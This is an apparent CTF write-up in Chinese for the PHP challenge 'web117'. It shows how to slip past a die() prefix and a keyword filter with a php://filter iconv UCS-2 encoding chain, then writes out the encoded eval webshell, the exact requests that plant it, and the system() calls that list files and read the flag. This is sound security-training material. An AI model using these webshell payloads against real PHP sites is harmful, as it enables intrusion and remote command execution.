web117笔记(过滤了base64等-iconv编码绕过)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

base64和rot13被ban掉了,依旧是使用filter,还有iconv 可以尝试

在linux 里面使用iconv对payload进行编码

先使用linux来对payload编码

iconv -f ucs-2le -t ucs-2be 1.txt

// 输出:?<hp pvela$(P_SO[Ta']';)?>

// 1.txt 里面是 <?php eval($_POST['a']); ?>

再构造filter

?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php

对数据进行编码解码,原本的<?php die();?> 就会乱码,从而绕过(与base64绕过类似)

提交数据包(POST型)

GET /?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php

POST contents=?<hp pvela$(P_SO[Ta']';)?>

 提交后访问1.php,之后常规操作

 

GET型

把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:

<?php

$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');

echo $re;

?>

运行得到: ?<hp pe@av(l_$EG[T]1;)>?

post 传入: contents=?<hp pe@av(l_$EG[T]1;)>?

payload: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php

 

之后调用 hack.php: /hack.php?1=system('ls'); 

读取 flag: /hack.php?1=system('tac flag.php');

 

posted @ 2025-03-14 15:57  justdoIT*  阅读(30)  评论(0)    收藏  举报